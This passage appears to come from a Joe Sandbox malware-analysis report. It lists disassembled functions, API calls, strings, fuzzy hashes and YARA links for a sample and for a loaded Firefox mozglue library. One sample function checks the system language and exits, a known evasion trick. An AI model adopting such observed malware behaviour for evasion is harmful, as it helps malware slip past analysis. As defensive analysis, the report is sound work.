Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 616e407599ea77adba146f16f0e85776cb1ecdf437dfa903b29b4db5ffaee763
Instruction ID: ff8e56ed863a7ad8b19d14713a783124ce2ab6260b2ff06143ffc1501cf26fe9
Opcode Fuzzy Hash: 616e407599ea77adba146f16f0e85776cb1ecdf437dfa903b29b4db5ffaee763
Instruction Fuzzy Hash: 9D7147B690020CB7CB24EBA0DC85FEE77B9AF88300F045598F619A7185EA74DB55CB91

Function 6C81AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C81AC52
CreateFileMappingW.KERNEL32 ref: 6C81AC7D
GetSystemInfo.KERNEL32 ref: 6C81AC98
MapViewOfFile.KERNEL32 ref: 6C81ACB0
GetSystemInfo.KERNEL32 ref: 6C81ACCD
MapViewOfFile.KERNEL32 ref: 6C81AD05
UnmapViewOfFile.KERNEL32 ref: 6C81AD1C
CloseHandle.KERNEL32 ref: 6C81AD28
UnmapViewOfFile.KERNEL32 ref: 6C81AD37
CloseHandle.KERNEL32 ref: 6C81AD43
CloseHandle.KERNEL32 ref: 6C81AD67

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 26a841516b2f4547d8829a6a5cab6f5421adebcecc466603885578b0bf51e4a7
Instruction ID: 46bb30919189677b514f0bed6d042e62c1ca3f2b993960108de70ca43c4b875c
Opcode Fuzzy Hash: 26a841516b2f4547d8829a6a5cab6f5421adebcecc466603885578b0bf51e4a7
Instruction Fuzzy Hash: AF312FB1904B058FDB20AFBDD64826EBBF0BF85319F01593DE98997251EB749448CB82

Function 6C80DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C80DDCF

Part of subcall function 6C7EFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7EFA4B

Part of subcall function 6C8090E0: free.MOZGLUE(?,00000000,?,?,6C80DEDB), ref: 6C8090FF
Part of subcall function 6C8090E0: free.MOZGLUE(?,00000000,?,?,6C80DEDB), ref: 6C809108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C80DE0D
free.MOZGLUE(00000000), ref: 6C80DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C80DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C80DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C80DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C7FDEFD,?,6C7C4A68), ref: 6C80DF32

Part of subcall function 6C80DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C80DB86
Part of subcall function 6C80DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C80DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C7FDEFD,?,6C7C4A68), ref: 6C80DF65
free.MOZGLUE(?), ref: 6C80DF80

Part of subcall function 6C7D5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7D5EDB
Part of subcall function 6C7D5E90: memset.VCRUNTIME140(6C817765,000000E5,55CCCCCC), ref: 6C7D5F27
Part of subcall function 6C7D5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7D5FB2

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 74303291d751b15fd0f7dc183dbbe51ea47b57ced15b7cb1da0e92f5f7eb1207
Instruction ID: 88cf4eafabd38933cc8a2ae3da2e163518367e5788fd61a7381304fabcdd8f88
Opcode Fuzzy Hash: 74303291d751b15fd0f7dc183dbbe51ea47b57ced15b7cb1da0e92f5f7eb1207
Instruction Fuzzy Hash: E251F6767016119BD7309B28DE846AFB376BF91308F96492ED81A57B01D731F819CBC2

Function 6C7ECC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C7B31A7), ref: 6C7ECDDD

Strings

<jemalloc>, xrefs: 6C7ECF9F, 6C7ECFB3
: (malloc) Error in VirtualFree(), xrefs: 6C7ECFA4, 6C7ECFB8

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 14a63df60ba495a4384fe51833bb4c5eda227f58d31a8d64e59d70ad6acbd0ee
Instruction ID: c5f619838a3f7cf9fd9660af687f09bb7ca91c02cfb2ed3cd2f1e75e71b63bb2
Opcode Fuzzy Hash: 14a63df60ba495a4384fe51833bb4c5eda227f58d31a8d64e59d70ad6acbd0ee
Instruction Fuzzy Hash: 2031C5767402155BFF20AEE98E45BAE7F79BB4971AF205424F618AB780DB70D800C7E0

Function 6C7BECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7BF100: LoadLibraryW.KERNEL32(shell32,?,6C82D020), ref: 6C7BF122
Part of subcall function 6C7BF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C7BF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C7BED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7BEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C7BEDCC
CreateFileW.KERNEL32 ref: 6C7BEE08
free.MOZGLUE(00000000), ref: 6C7BEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C7BEE32

Part of subcall function 6C7BEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C7BEBB5
Part of subcall function 6C7BEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C7ED7F3), ref: 6C7BEBC3
Part of subcall function 6C7BEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C7ED7F3), ref: 6C7BEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C7BEDC1

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: b90c58190f6564a183d826457620dcc3b36c42dae99815b7d3de69dc16a05af4
Instruction ID: 1518f206f76e4535bdc5dbd5d506b6b5ee5fc36abe1baa4f54352db1aa119cdc
Opcode Fuzzy Hash: b90c58190f6564a183d826457620dcc3b36c42dae99815b7d3de69dc16a05af4
Instruction Fuzzy Hash: FB51E271D053088BEB10DF68CA496EEB7B4EF59318F04886DE8557B740E774A988C7E2

Function 6C7F9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C7EAB89: EnterCriticalSection.KERNEL32(6C83E370,?,?,?,6C7B34DE,6C83F6CC,?,?,?,?,?,?,?,6C7B3284), ref: 6C7EAB94
Part of subcall function 6C7EAB89: LeaveCriticalSection.KERNEL32(6C83E370,?,6C7B34DE,6C83F6CC,?,?,?,?,?,?,?,6C7B3284,?,?,6C7D56F6), ref: 6C7EABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7C4A68), ref: 6C7F945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7F9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7F9482
__Init_thread_footer.LIBCMT ref: 6C7F949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C7F947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C7F9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C7F946B

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: f631590c756116b26a6ea9a455d97232c877d7af95da0ea312d329812b34915d
Instruction ID: 1bbe9eeeb05464e1ba957bca356e88d302cc95c6c1339e5b3d2cae92c03ab738
Opcode Fuzzy Hash: f631590c756116b26a6ea9a455d97232c877d7af95da0ea312d329812b34915d
Instruction Fuzzy Hash: 9A012830A0011097D7309FDCDB98A5733B49B2632CF042D36D86E86B41D725D856C9DB

Function 00EF6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00EF6774
ExitProcess.KERNEL32 ref: 00EF67A5
ExitProcess.KERNEL32 ref: 00EF67AF
ExitProcess.KERNEL32 ref: 00EF67B9
ExitProcess.KERNEL32 ref: 00EF67C3
ExitProcess.KERNEL32 ref: 00EF67CD

Strings

*, xrefs: 00EF678C

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 233014239fb03014b34dc1b438372cc6b2edea4beeab9d33d60cc607d15daf33
Instruction ID: efc8881426c2115bd1fcfc745dade9e78f94488f319b99238feee0af88335bc3
Opcode Fuzzy Hash: 233014239fb03014b34dc1b438372cc6b2edea4beeab9d33d60cc607d15daf33
Instruction Fuzzy Hash: 8BF03A30904209FFD368AFE0B50972CBB74FF14707F0401A9E61AD76C4E6714AA19B99

Function 6C7F84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7F84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7F850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7F851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7F855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7F856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7F85AC

Part of subcall function 6C7F7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7F85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7F767F
Part of subcall function 6C7F7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7F85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7F7693
Part of subcall function 6C7F7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C7F85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7F76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7F85B2

Part of subcall function 6C7D5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7D5EDB
Part of subcall function 6C7D5E90: memset.VCRUNTIME140(6C817765,000000E5,55CCCCCC), ref: 6C7D5F27
Part of subcall function 6C7D5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7D5FB2

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 8381ea261d35421a4bd3d7fee685bf042098e152d281d617894526add99b3abb
Instruction ID: df57fa6152dc8d4ec771b0fb50a789f13857bd60837f4c8cf82ddd10087ae055
Opcode Fuzzy Hash: 8381ea261d35421a4bd3d7fee685bf042098e152d281d617894526add99b3abb
Instruction Fuzzy Hash: CC21EF752006018FDB24DB29C8C8A5AB7B4AF4130CF24093CE56BC7B41DB34F949CB80

Function 00EF92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:,80000000,00000003,00000000,00000003,00000080,00000000,?,00EF3AEE,?), ref: 00EF92FC
GetFileSizeEx.KERNEL32(000000FF,:), ref: 00EF9319
CloseHandle.KERNEL32(000000FF), ref: 00EF9327

Strings

:, xrefs: 00EF9311, 00EF933D, 00EF9314
:, xrefs: 00EF92F8, 00EF92FB

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :$:
API String ID: 1378416451-4250114551
Opcode ID: 0fd09693204325a4f9b3196d44725b4f4dc82f7c9e0fddb4bf38fef6a5f0de88
Instruction ID: dbaf8161ca8f0bfe054d29fcec00e27901ef986256ed3dc00fc48842a4be4813
Opcode Fuzzy Hash: 0fd09693204325a4f9b3196d44725b4f4dc82f7c9e0fddb4bf38fef6a5f0de88
Instruction Fuzzy Hash: 3DF04F35E40208BBDB34DFB4EC49FAE77B9AB48710F10C264FA61A72C4D67196518B44

Function 6C7FF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7C4A68), ref: 6C7F945E
Part of subcall function 6C7F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7F9470
Part of subcall function 6C7F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7F9482
Part of subcall function 6C7F9420: __Init_thread_footer.LIBCMT ref: 6C7F949F

GetCurrentThreadId.KERNEL32 ref: 6C7FF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7FF561

Part of subcall function 6C7F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7F94EE
Part of subcall function 6C7F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7F9508

GetCurrentThreadId.KERNEL32 ref: 6C7FF577
AcquireSRWLockExclusive.KERNEL32(6C83F4B8), ref: 6C7FF585
ReleaseSRWLockExclusive.KERNEL32(6C83F4B8), ref: 6C7FF5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C7FF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C7FF3A8
[I %d/%d] profiler_resume, xrefs: 6C7FF239
[I %d/%d] profiler_resume_sampling, xrefs: 6C7FF499

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 6405251625816e906cd93ab293f2112e5f87f227c1eb63d89cfed721713140bf
Instruction ID: 55a5e683c90b1f4a9ad27f58a90495d8e3c846f2b365ff782e15f8aa425b430a
Opcode Fuzzy Hash: 6405251625816e906cd93ab293f2112e5f87f227c1eb63d89cfed721713140bf
Instruction Fuzzy Hash: AAF096B52005149BDB305FA8994C97A77BCEB9626DF002871FA1983741CB754805C6E0

Function 6C8114A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8114C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8114E2
GetCurrentThreadId.KERNEL32 ref: 6C811546
InitializeConditionVariable.KERNEL32(?), ref: 6C8115BA
free.MOZGLUE(?), ref: 6C8116B4

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: cf3e1488ff1228741c4a523ce57def95565b7feacef671cb495adeb977c7ce01
Instruction ID: 11e624ef38ec0d2cdc96f9839556013429ff258492db87d1670b5360b1e2e35a
Opcode Fuzzy Hash: cf3e1488ff1228741c4a523ce57def95565b7feacef671cb495adeb977c7ce01
Instruction Fuzzy Hash: 4661E072A047159BDB318F24C984BDAB7B4BF99308F44892CED8A57B01DB35E948CBD1

Function 6C80DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C80DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C80D38A,?), ref: 6C80DC6F
free.MOZGLUE(?,?,?,?,?,6C80D38A,?), ref: 6C80DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C80D38A,?), ref: 6C80DCE9
